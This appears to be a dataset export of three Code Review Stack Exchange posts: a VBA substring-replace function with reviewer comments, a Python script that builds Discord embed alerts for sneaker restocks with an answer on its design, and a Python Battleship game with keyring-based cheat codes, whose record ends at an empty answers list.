body
stringlengths 25
86.7k
| comments
list | answers
list | meta_data
dict | question_id
stringlengths 1
6
|
|---|---|---|---|---|
<p>If you already know the start and ending character positions of text you want to replace, this bypasses the need to calculate the length. It just helps eliminate a step by not requiring you to calculate the length because this uses <code>start_num</code> and <code>end_num</code> directly as parameters. It can be used as an Excel function or a VBA function.</p>
<pre><code>Public Function Replace2(ByVal old_text As String, _
ByVal start_num As Long, _
ByVal end_num As Long, _
ByVal new_text As String) As String
'Replaces old_text from character positions start_num to end_num with new_text;
' does not delete any old_text characters when end_num < start_num.
' e.g. when end_num is 0.
'Replace2 is designed to help when it's more convenient to code using start and
' end positions rather than being forced to calculate a length.
'Replace2 can be used as an Excel or VBA function as an alternative to the
' Worksheet.Replace function with the following design differences:
' 1. Replace2 uses a start_num and end_num pair rather than a start_num
' with a length.
' 2. Replace2 is also more forgiving of parameter error, it's designed to
' properly interpret and correct start_num and end_num value errors. E.g.
' This ensures the start_num falls between 1 and old_text length + 1
' and ensures the end_num falls between 0 and old_text length.
' 3. An end_num of 0 or end_num < start_num does not delete any old_text characters.
' 4. new_text is inserted just prior to the start_num position in the old_text.
Dim LenOldText As Long
LenOldText = Len(old_text)
If start_num < 1 Then start_num = 1
If end_num < 0 Then end_num = 0
If start_num > LenOldText Then start_num = LenOldText + 1
If end_num > LenOldText Then end_num = LenOldText
If end_num < start_num Then end_num = start_num - 1
Replace2 = Left(old_text, start_num - 1) & new_text & Right(old_text, LenOldText - end_num)
End Function
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-26T18:11:46.843",
"Id": "513180",
"Score": "0",
"body": "This is working code. I created it for those who would prefer to use the Replace function with a start and end character position and not need to calculate length in their code. I usually know a start and end character position and so this eliminates a step in my coding."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T15:03:15.587",
"Id": "513257",
"Score": "0",
"body": "My suggestion would be to move the `new_text` parameter up to the second spot, then make `start_num` and `end_num` as `Optional` (with a default value). With this arrangement, calling `Replace2` would default to replacing the entire string, or beginning to a given `end_num` or from a given `start_num` to the end of the original string. I'm just thinking it may make the function a bit more versatile."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T17:44:02.077",
"Id": "513270",
"Score": "0",
"body": "What is the purpose of `If end_num < 0 Then end_num = 0`? Seems if we set it to zero here, it will be overwritten by `If end_num < start_num Then end_num = start_num - 1` since `start_num` is >=1. And the former statement has no impact on `If end_num > LenOldText Then end_num = LenOldText` between the two statements as negative and zero will never be greater than the length of the original text."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-06-15T05:17:18.090",
"Id": "519244",
"Score": "0",
"body": "In this era of Dynamic Array functions, you might want to rework it to Spill when passed ranges of > 1 cell"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-26T18:11:46.843",
"Id": "260041",
"Score": "1",
"Tags": [
"vba",
"excel"
],
"Title": "Replace2 using start and end rather than length"
}
|
260041
|
<p>I have been working on where I create a payload of dicts with different values as store, name etc etc which you will see very soon. The idea is that with the payload I send to this script, it should see if the values is in the payload (dict) and if it is then add it into discord embed. As simple as it sounds.</p>
<p>I have done something like this:</p>
<pre><code>#!/usr/bin/python3
# -*- coding: utf-8 -*-
import time
from threading import Thread
from typing import Dict
import pendulum
from discord_webhook import DiscordEmbed, DiscordWebhook
from loguru import logger
mixed_filtered = {
'test1': 'https://discordapp.com/api/webhooks/529345345345345/6h4_yshmNDKktdT-0VevOhqdXG9rDhRWclIfDD4jY8IbdCQ5-kllob-k1251252151',
'test2': 'https://discordapp.com/api/webhooks/529674575474577/6h4_yshmNDKktdT-0VevOhqdXG9rDhRWclIfDD4jY8IbdCQ5-kllob-fhgdfdghfhdh'
}
mixed_unfiltered = {
'test1': 'https://discordapp.com/api/webhooks/12412421412412/6h4_yshmNDKktdT-0VevOhqdXG9rDhR12412412414Q5-kllob-kI2jAxCZ5PdIn',
'test2': 'https://discordapp.com/api/webhooks/529617352682110997/6h4_yshmNDKktdT-0VevOhqdXG912412412412IbdCQ5-kllob-kI2jAxCZ5PdIn'
}
def create_embed(payload: dict) -> None:
# -------------------------------------------------------------------------
# Name of the product, URL of the product & New! or Restock! url
# -------------------------------------------------------------------------
embed = DiscordEmbed(
url=payload["link"],
description=payload["status"],
color=8149447
)
# -------------------------------------------------------------------------
# Image product
# -------------------------------------------------------------------------
embed.set_thumbnail(
url=payload["image"]
)
# -------------------------------------------------------------------------
# Store Name
# -------------------------------------------------------------------------
embed.add_embed_field(
name="Site",
value=f'{payload["store"]}'
)
# -------------------------------------------------------------------------
# The price of the product
# -------------------------------------------------------------------------
if payload.get("price"):
embed.add_embed_field(
name="Price",
value=payload["price"]
)
# -------------------------------------------------------------------------
# If store is Nike
# -------------------------------------------------------------------------
if "Nike" in payload["store"]:
if payload.get("nikeStatus"):
embed.add_embed_field(
name="\u200b",
value="\u200b"
)
embed.add_embed_field(
name="Status",
value=payload["nikeStatus"]
)
# -------------------------------------------------------------------------
# Nike Sales Channel
# -------------------------------------------------------------------------
if payload.get("salesChannel"):
embed.add_embed_field(
name="Sales Channel",
value="\n".join(payload["salesChannel"])
)
# -------------------------------------------------------------------------
# Sizes available
# Add extra spaces for sizes to make it cleaner for discord embed
# -------------------------------------------------------------------------
if payload.get("sizes"):
payload["stock"] = sum(v for v in payload["sizes"].values() if v)
payload["sizes"] = [f"{k} - ({v})" if v else k for k, v in payload["sizes"].items()]
# If we have stock in values then sum it up
embed.add_embed_field(
name="\u200b",
value="\u200b"
)
characterCount, i = 0, 0
for j, item in enumerate(payload["sizes"]):
# There is a limitation for Discord where if we reach over 1020 characters for one embed column.
# IT will throw a error. Now I check if the characters count is less than 900 then we create a new embed.
if len(item) + characterCount > 900:
embed.add_embed_field(
name="Sizes",
value="\n".join(payload["sizes"][i:j])
)
characterCount, i = len(item), j
else:
characterCount += len(item)
if characterCount:
embed.add_embed_field(
name="Sizes",
value="\n".join(payload["sizes"][i:])
)
embed.add_embed_field(
name="\u200b",
value="\u200b"
)
embed.add_embed_field(
name="\u200b",
value="\u200b"
)
# -------------------------------------------------------------------------
# If store is footlocker
# -------------------------------------------------------------------------
if "Footlocker" in payload["store"]:
if payload.get("stockLoaded"):
embed.add_embed_field(
name="Stock Loaded",
value=payload["stockLoaded"].upper()
)
if payload.get("styleCode"):
embed.add_embed_field(
name="\u200b",
value="\u200b"
)
embed.add_embed_field(
name="Style Code",
value=payload["styleCode"]
)
# -------------------------------------------------------------------------
# Release date for the product
# -------------------------------------------------------------------------
if payload.get("releaseDate"):
embed.add_embed_field(
name="Release Date",
value=payload["releaseDate"].to_datetime_string()
)
# -------------------------------------------------------------------------
# Stock keeping unit etc. 508214-660
# -------------------------------------------------------------------------
if payload.get("sku"):
embed.add_embed_field(
name="SKU",
value=payload["sku"]
)
# -------------------------------------------------------------------------
# Total stock of the product
# -------------------------------------------------------------------------
if payload.get("stock"):
embed.add_embed_field(
name="Total Stock",
value=payload["stock"]
)
# -------------------------------------------------------------------------
# Login/Cart/Checkout shortcut links
# -------------------------------------------------------------------------
embed.add_embed_field(
name="Shortcuts Links",
value=f'{" | ".join(shortcuts for shortcuts in payload["shortcut"])}'
)
# -------------------------------------------------------------------------
# Quick task for bots
# -------------------------------------------------------------------------
if payload.get("quicktask"):
embed.add_embed_field(
name="Quick Tasks",
value=f'{" | ".join(shortcuts for shortcuts in payload["quicktask"])}'
)
# -------------------------------------------------------------------------
# Footer timestamp
# -------------------------------------------------------------------------
embed.set_footer(
text=f'AutoSnkr | {pendulum.now("Europe/Stockholm").format("YYYY-MM-DD [[]HH:mm:ss.SSSS[]]")}'
)
# -------------------------------------------------------------------------
# Set title on the embed
# -------------------------------------------------------------------------
if payload.get('stock') and payload.get('name'):
embed.title = f'({payload["stock"]}) {payload["name"]}'
elif payload.get('name'):
embed.title = payload["name"]
else:
embed.title = payload.get('link')
# -------------------------------------------------------------------------
# Send payload/embed to Discord Notification function
# -------------------------------------------------------------------------
collection = mixed_filtered if payload["keyword"] else mixed_unfiltered
for region, discord_collection in collection.items():
webhook = DiscordWebhook(
url=discord_collection,
username="AutoSnkr Monitor",
)
webhook.add_embed(embed)
# Adding thread so each URL can post as fast as possible without needing to wait for each other
Thread(
target=post_embed,
args=(
payload,
region,
webhook
)
).start()
def post_embed(payload: Dict, region: str, webhook: DiscordWebhook) -> None:
success: bool = False
while not success:
try:
response = webhook.execute()
success = response.ok
# If we get a 429, retry after a short delay
if response.status_code == 429:
sleep_time = int(response.headers["retry-after"]) / 1000
logger.debug(f"Rate limit -> Retrying in {sleep_time} seconds")
time.sleep(sleep_time)
continue
# any response other than a 429 or a 200 OK is an error.
if not response.ok:
# FIXME Add discord notficiation and raise exception
pass
logger.info(f"Succesfully sent to Discord Reporter -> {region}")
except Exception as err:
# FIXME Add discord notficiation and raise exception
pass
if __name__ == '__main__':
create_embed(
{
"store": "Basket4ballers",
"link": "https://www.basket4ballers.com/en/pg/26471-nike-pg5-bred-cw3143-101.html",
"name": "Nike PG5 Bred",
"price": "EUR 119.9",
"image": "https://cdn1.basket4ballers.com/114821-large_default/nike-pg5-bred-cw3143-101.jpg",
"sizes": {
"[EU 38.5](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205049)": 1,
"[EU 39](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205052)": 1,
"[EU 40](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205055)": 3,
"[EU 40.5](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205058)": 4,
"[EU 41](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205061)": 9,
"[EU 42](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205064)": 11,
"[EU 42.5](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205067)": 11,
"[EU 43](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205070)": 16,
"[EU 44](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205073)": 21,
"[EU 44.5](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205076)": 15,
"[EU 45](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205079)": 20,
"[EU 45.5](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205082)": 7,
"[EU 46](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205085)": 17,
"[EU 47](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205088)": 7,
"[EU 47.5](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205091)": 5,
"[EU 48](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205094)": 3,
"[EU 48.5](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205097)": 2,
"[EU 49.5](https://www.basket4ballers.com/?controller=cart&add=1&as=true&qty=1&id_product=26471&token=e4d64f25476dcee4b08744d382dc405b&ipa=205100)": 1},
"shortcut": ["[Login](https://www.basket4ballers.com/en/authentification?back=my-account)",
"[Cart](https://www.basket4ballers.com/en/commande)",
"[Checkout Delivery](https://www.basket4ballers.com/en/commande?step=1)",
"[Checkout Shipping Service](https://www.basket4ballers.com/en/commande)",
"[Checkout PAyment](https://www.basket4ballers.com/en/commande)"],
"webhook": "mixed",
"status": "Restock!",
"keyword": True
}
)
</code></pre>
<p>The mock data is at the very bottom but in the future I will instead send the payload to the function.</p>
<p>I wonder what can I do to try to have less code but that still does the job. I feel like there should be a way more cleaner way to do this than what I did but looking forward to see what can be improved :)</p>
<p>Let me know if there is any missing information. The script should be runnable by copy pasting it but make sure to create your own discord webhooks to test the embed. I will unfortunately need to modify them so no one can spam me :)</p>
|
[] |
[
{
"body": "<p>If I were a smart man I'd give up on recommending that you stop using a payload dictionary for internal data representation and instead use classes, but I'm not a smart man. Please. I implore you. We're not in JavaScript - objects don't have to be dictionaries. This could be well-represented by a class for product, and a class for product size.</p>\n<p>Otherwise:</p>\n<p><code>if payload.get("price")</code> should be replaced by <code>if 'price' in payload</code> if it were only that statement; but since you actually use it,</p>\n<pre><code>if payload.get("price"):\n embed.add_embed_field(\n name="Price",\n value=payload["price"]\n )\n</code></pre>\n<p>should become</p>\n<pre><code>price = payload.get('price')\nif price is not None:\n embed.add_embed_field(name='Price', value=price)\n</code></pre>\n<p>More broadly: your <code>create_embed</code> is a presentation function but mixes in logic concerns such as stock summation, and store-specific logic (i.e. Footlocker). That should be separated.</p>\n<p>Your</p>\n<pre><code># FIXME Add discord notficiation and raise exception\n</code></pre>\n<p>first of all has a typo - <code>notficiation</code> -> <code>notification</code> - and second of all, while this is waiting to be fixed it's of crucial importance that you not swallow exceptions. Part of development and debugging is seeing errors, and your code breaks that. So replace your <code>pass</code> with a <code>raise</code> in the meantime.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T16:29:53.687",
"Id": "513500",
"Score": "0",
"body": "Hi again! :) Regarding the payload being dictionary it is something that I still have issue with and it is something we have worked on together as you remember :) My problem is that I do not know how I can work with only classes where I have previously asked for a code review regarding the part where I actually send the payload to the create_embed which can be found from here https://codereview.stackexchange.com/q/259867/223687 - If I could get more description over how I can actually do a comparision with just classes and throw away the dicts. That would be very cool to know how"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T16:31:47.540",
"Id": "513501",
"Score": "0",
"body": "Currently I do not know how to do it as for today but am willing to learn :) Regarding the seperation is something I will work on. I did realize that I have done something more complicated and harder to read, thanks for that :) Will work on that part but now im more concern if im going to change with classes then I most likely wont need the dicts at all. Lets see what you have to say :D Excited to see!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T18:37:53.623",
"Id": "513514",
"Score": "0",
"body": "Let us continue this in chat: https://chat.stackexchange.com/rooms/123085/check-if-new-dict-values-has-been-added"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T23:48:38.580",
"Id": "513541",
"Score": "0",
"body": "Hey again! Unfortunately I need to go back to sleep as I was waiting for a reply. :) I hope and wish that I could get an answer back, would mean alot for me!"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T16:11:21.267",
"Id": "260159",
"ParentId": "260043",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "260159",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-26T18:19:01.007",
"Id": "260043",
"Score": "3",
"Tags": [
"python",
"python-3.x",
"discord"
],
"Title": "Creating embed for Discord reading from dictionary"
}
|
260043
|
<p>I have implemented Battleship in Python by using lists. I have used threading to prevent <code>KeyboardInterrupt</code>, so the player can't cheat by using control-c and stuff.</p>
<p>How can I simplify this code?</p>
<pre><code>import random
import sys
from threading import Thread
import keyring
master_break = keyring.get_password('ship', 'break')
enable = keyring.get_password('ship', 'enable')
activate = keyring.get_password('ship', 'activate')
def no_interupt():
print('This is Battleship.')
print('Hits are marked with Hs and misses are marked with Ms.')
print('If you miss too many times, you lose.')
nuke_enabled = False
while True:
try:
dif = input('What difficulty would you like (1-3): ')
if dif == enable:
nuke_enabled = True
print('Nukes have been enabled.')
if dif != master_break:
dif = int(dif)
elif dif == master_break:
sys.exit()
except ValueError:
if nuke_enabled != True:
print('Invalid format.')
else:
pass
else:
break
lines = 8
board = []
nuke_board = []
for x in range(8):
board.append(['O'] * 8)
nuke_board.append(['N'] * 8)
def split(word):
return [char for char in word]
def print_board(board):
x = 1
print(' A B C D E F G H')
print()
for row in board:
print(x, ' ', ' | '.join(row))
print(' ', ' -'*15)
x += 1
def print_nuke(nuke_board):
x = 1
print(' A B C D E F G H')
print()
for row in nuke_board:
print(x, ' ', ' | '.join(row))
print(' ', ' -'*15)
x += 1
print('Let\'s play Battleship!')
print()
print_board(board)
def random_col(board):
return random.randint(0, 7)
carrier_direct = random.randint(1, 2)
battleship_direct = random.randint(1, 2)
destroyer_direct = random.randint(1, 2)
carrier = 5
battleship = 4
destroyer = 3
ship_len = 12
carrier_sunk = False
battleship_sunk = False
destroyer_sunk = False
turns = 12 - dif
if carrier_direct == 1:
carrier_row = random_col(board)
carrier_col_start = random.randint(0, 2)
carrier_col_end = carrier_col_start + 5
if battleship_direct == 1:
while True:
battleship_row = random_col(board)
battleship_col_start = random.randint(0, 3)
battleship_col_end = battleship_col_start + 4
if battleship_row != carrier_row:
break
if destroyer_direct == 1:
while True:
destroyer_row = random_col(board)
destroyer_col_start = random.randint(0, 4)
destroyer_col_end = destroyer_col_start + 3
if destroyer_row != battleship_row and destroyer_row != carrier_row:
break
else:
while True:
destroyer_col = random_col(board)
destroyer_row_start = random.randint(0, 4)
destroyer_row_end = destroyer_row_start + 3
if carrier_col_start <= destroyer_col and destroyer_col <= carrier_col_end or battleship_col_start <= destroyer_col and destroyer_col <= battleship_col_end:
pass
else:
break
else:
while True:
battleship_col = random_col(board)
battleship_row_start = random.randint(0, 3)
battleship_row_end = battleship_row_start + 4
if carrier_col_start <= battleship_col and battleship_col <= carrier_col_end:
pass
else:
break
if destroyer_direct == 1:
while True:
destroyer_row = random_col(board)
destroyer_col_start = random.randint(0, 4)
destroyer_col_end = destroyer_col_start + 3
if destroyer_row != carrier_row:
if battleship_row_start <= destroyer_row and destroyer_row <= battleship_row_end:
pass
else:
break
else:
while True:
destroyer_col = random_col(board)
destroyer_row_start = random.randint(0, 4)
destroyer_row_end = destroyer_row_start + 3
if destroyer_col != battleship_col:
if destroyer_col <= carrier_col_end and destroyer_col >= carrier_col_start:
pass
else:
break
else:
carrier_col = random_col(board)
carrier_row_start = random.randint(0, 2)
carrier_row_end = carrier_row_start + 5
if battleship_direct == 1:
while True:
battleship_row = random_col(board)
battleship_col_start = random.randint(0, 3)
battleship_col_end = battleship_col_start + 4
if battleship_row <= carrier_row_end and battleship_row >= carrier_row_start:
pass
else:
break
if destroyer_direct == 1:
while True:
destroyer_row = random_col(board)
destroyer_col_start = random.randint(0, 4)
destroyer_col_end = destroyer_col_start + 3
if destroyer_row != battleship_row:
if destroyer_row <= carrier_row_end and destroyer_row >= carrier_row_start:
pass
else:
break
else:
while True:
destroyer_col = random_col(board)
destroyer_row_start = random.randint(0, 4)
destroyer_row_end = destroyer_row_start + 3
if destroyer_col != carrier_col:
if destroyer_col <= battleship_col_end and destroyer_col >= battleship_col_start:
pass
else:
break
else:
while True:
battleship_col = random_col(board)
battleship_row_start = random.randint(0, 3)
battleship_row_end = battleship_row_start + 4
if battleship_col != carrier_col:
break
if destroyer_direct == 1:
while True:
destroyer_row = random_col(board)
destroyer_col_start = random.randint(0, 4)
destroyer_col_end = destroyer_col_start + 3
if destroyer_row <= carrier_row_end and destroyer_row >= carrier_row_start or destroyer_row <= battleship_row_end and destroyer_row >= battleship_row_start:
pass
else:
break
else:
while True:
destroyer_col = random_col(board)
destroyer_row_start = random.randint(0, 4)
destroyer_row_end = destroyer_row_start + 3
if destroyer_col != battleship_col and destroyer_col != carrier_col:
break
while turns > 0:
if ship_len == 0:
print('You win!')
sys.exit()
if carrier == 0 and carrier_sunk != True:
print('You sunk the carrier!')
carrier_sunk = True
elif battleship == 0 and battleship_sunk != True:
print('You sunk the battleship!')
battleship_sunk = True
elif destroyer == 0 and destroyer_sunk != True:
print('You sunk the destroyer!')
destroyer_sunk = True
test_var = False
not_enabled = False
guess = input('Guess coordinate: ').lower()
if guess == master_break:
sys.exit()
if guess == activate:
if nuke_enabled == True:
print('NUKE EM\' ALL!')
print()
print_nuke(nuke_board)
print('You sunk the carrier!')
print('You sunk the battleship!')
print('You sunk the destroyer!')
print('You win! (by using cheats, but WHO CARES!)')
sys.exit()
else:
print('Nukes are not enabled.')
not_enabled = True
try:
guess_col_let = split(guess)[0]
guess_row = int(split(guess)[1])
guess_col = int(ord(guess_col_let) - 96)
except ValueError:
if not_enabled != True:
print('Invalid format.')
else:
pass
except IndexError:
if not_enabled != True:
print('Invalid format.')
else:
pass
else:
test_var = True
if not_enabled != True:
if test_var == True:
try:
if guess_row == carrier_row and carrier_col_start <= guess_col <= carrier_col_end:
print('Hit on the carrier!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
carrier -= 1
ship_len -= 1
elif guess_row == battleship_row and battleship_col_start <= guess_col <= battleship_col_end:
print('Hit on the battleship!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
destroyer -= 1
ship_len -= 1
elif guess_row == destroyer_row and destroyer_col_start <= guess_col <= destroyer_col_end:
print('Hit on the destroyer!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
destroyer -= 1
ship_len -= 1
else:
if guess_row < 1 or guess_row > lines + 1 or guess_col < 1 or guess_col > lines + 1:
print('Oops, that\'s not even in the ocean.')
elif board[guess_row - 1][guess_col - 1] != 'O':
print('You guessed that one already.')
else:
print('You missed!')
board[guess_row - 1][guess_col - 1] = 'M'
turns -= 1
if turns > 1 or turns == 0:
print('You have {} guesses remaining.'.format(turns))
else:
print('You have 1 guess remaining.')
print()
print_board(board)
except NameError:
try:
if guess_row == carrier_row and carrier_col_start <= guess_col <= carrier_col_end:
print('Hit on the carrier!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
carrier -= 1
ship_len -= 1
elif guess_col == battleship_col and battleship_row_start <= guess_row <= battleship_row_end:
print('Hit on the battleship!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
destroyer -= 1
ship_len -= 1
elif guess_row == destroyer_row and destroyer_col_start <= guess_col <= destroyer_col_end:
print('Hit on the destroyer!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
destroyer -= 1
ship_len -= 1
else:
if guess_row < 1 or guess_row > lines + 1 or guess_col < 1 or guess_col > lines + 1:
print('Oops, that\'s not even in the ocean.')
elif board[guess_row - 1][guess_col - 1] != 'O':
print('You guessed that one already.')
else:
print('You missed!')
board[guess_row - 1][guess_col - 1] = 'M'
turns -= 1
if turns > 1 or turns == 0:
print('You have {} guesses remaining.'.format(turns))
else:
print('You have 1 guess remaining.')
print()
print_board(board)
except NameError:
try:
if guess_row == carrier_row and carrier_col_start <= guess_col <= carrier_col_end:
print('Hit on the carrier!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
carrier -= 1
ship_len -= 1
elif guess_col == battleship_col and battleship_row_start <= guess_row <= battleship_row_end:
print('Hit on the battleship!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
destroyer -= 1
ship_len -= 1
elif guess_row == destroyer_row and destroyer_col_start <= guess_col <= destroyer_col_end:
print('Hit on the destroyer!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
destroyer -= 1
ship_len -= 1
else:
if guess_row < 1 or guess_row > lines + 1 or guess_col < 1 or guess_col > lines + 1:
print('Oops, that\'s not even in the ocean.')
elif board[guess_row - 1][guess_col - 1] != 'O':
print('You guessed that one already.')
else:
print('You missed!')
board[guess_row - 1][guess_col - 1] = 'M'
turns -= 1
if turns > 1 or turns == 0:
print('You have {} guesses remaining.'.format(turns))
else:
print('You have 1 guess remaining.')
print()
print_board(board)
except NameError:
try:
if guess_row == carrier_row and carrier_col_start <= guess_col <= carrier_col_end:
print('Hit on the carrier!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
carrier -= 1
ship_len -= 1
elif guess_row == battleship_row and battleship_col_start <= guess_col <= battleship_col_end:
print('Hit on the battleship!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
destroyer -= 1
ship_len -= 1
elif guess_col == destroyer_col and destroyer_row_start <= guess_row <= destroyer_row_end:
print('Hit on the destroyer!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
destroyer -= 1
ship_len -= 1
else:
if guess_row < 1 or guess_row > lines + 1 or guess_col < 1 or guess_col > lines + 1:
print('Oops, that\'s not even in the ocean.')
elif board[guess_row - 1][guess_col - 1] != 'O':
print('You guessed that one already.')
else:
print('You missed!')
board[guess_row - 1][guess_col - 1] = 'M'
turns -= 1
if turns > 1 or turns == 0:
print('You have {} guesses remaining.'.format(turns))
else:
print('You have 1 guess remaining.')
print()
print_board(board)
except NameError:
try:
if guess_col == carrier_col and carrier_row_start <= guess_row <= carrier_row_end:
print('Hit on the carrier!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
carrier -= 1
ship_len -= 1
elif guess_col == battleship_col and battleship_row_start <= guess_row <= battleship_row_end:
print('Hit on the battleship!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
destroyer -= 1
ship_len -= 1
elif guess_col == destroyer_col and destroyer_row_start <= guess_row <= destroyer_row_end:
print('Hit on the destroyer!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
destroyer -= 1
ship_len -= 1
else:
if guess_row < 1 or guess_row > lines + 1 or guess_col < 1 or guess_col > lines + 1:
print('Oops, that\'s not even in the ocean.')
elif board[guess_row - 1][guess_col - 1] != 'O':
print('You guessed that one already.')
else:
print('You missed!')
board[guess_row - 1][guess_col - 1] = 'M'
turns -= 1
if turns > 1 or turns == 0:
print('You have {} guesses remaining.'.format(turns))
else:
print('You have 1 guess remaining.')
print()
print_board(board)
except NameError:
try:
if guess_col == carrier_col and carrier_row_start <= guess_row <= carrier_row_end:
print('Hit on the carrier!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
carrier -= 1
ship_len -= 1
elif guess_col == battleship_col and battleship_row_start <= guess_row <= battleship_row_end:
print('Hit on the battleship!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
destroyer -= 1
ship_len -= 1
elif guess_row == destroyer_row and destroyer_col_start <= guess_col <= destroyer_col_end:
print('Hit on the destroyer!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
destroyer -= 1
ship_len -= 1
else:
if guess_row < 1 or guess_row > lines + 1 or guess_col < 1 or guess_col > lines + 1:
print('Oops, that\'s not even in the ocean.')
elif board[guess_row - 1][guess_col - 1] != 'O':
print('You guessed that one already.')
else:
print('You missed!')
board[guess_row - 1][guess_col - 1] = 'M'
turns -= 1
if turns > 1 or turns == 0:
print('You have {} guesses remaining.'.format(turns))
else:
print('You have 1 guess remaining.')
print()
print_board(board)
except NameError:
try:
if guess_col == carrier_col and carrier_row_start <= guess_row <= carrier_row_end:
print('Hit on the carrier!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
carrier -= 1
ship_len -= 1
elif guess_row == battleship_row and battleship_col_start <= guess_col <= battleship_col_end:
print('Hit on the battleship!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
destroyer -= 1
ship_len -= 1
elif guess_col == destroyer_col and destroyer_row_start <= guess_row <= destroyer_row_end:
print('Hit on the destroyer!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
destroyer -= 1
ship_len -= 1
else:
if guess_row < 1 or guess_row > lines + 1 or guess_col < 1 or guess_col > lines + 1:
print('Oops, that\'s not even in the ocean.')
elif board[guess_row - 1][guess_col - 1] != 'O':
print('You guessed that one already.')
else:
print('You missed!')
board[guess_row - 1][guess_col - 1] = 'M'
turns -= 1
if turns > 1 or turns == 0:
print('You have {} guesses remaining.'.format(turns))
else:
print('You have 1 guess remaining.')
print()
print_board(board)
except NameError:
try:
if guess_col == carrier_col and carrier_row_start <= guess_row <= carrier_row_end:
print('Hit on the carrier!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
carrier -= 1
ship_len -= 1
elif guess_row == battleship_row and battleship_col_start <= guess_col <= battleship_col_end:
print('Hit on the battleship!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
destroyer -= 1
ship_len -= 1
elif guess_row == destroyer_row and destroyer_col_start <= guess_col <= destroyer_col_end:
print('Hit on the destroyer!')
board[guess_row - 1][guess_col - 1] = 'H'
print_board(board)
destroyer -= 1
ship_len -= 1
else:
if guess_row < 1 or guess_row > lines + 1 or guess_col < 1 or guess_col > lines + 1:
print('Oops, that\'s not even in the ocean.')
elif board[guess_row - 1][guess_col - 1] != 'O':
print('You guessed that one already.')
else:
print('You missed!')
board[guess_row - 1][guess_col - 1] = 'M'
turns -= 1
if turns > 1 or turns == 0:
print('You have {} guesses remaining.'.format(turns))
else:
print('You have 1 guess remaining.')
print()
print_board(board)
except NameError:
pass
else:
pass
print('You lose!')
sys.exit()
a = Thread(target=no_interupt)
a.Daemon = True
a.start()
a.join()
</code></pre>
|
[] |
[
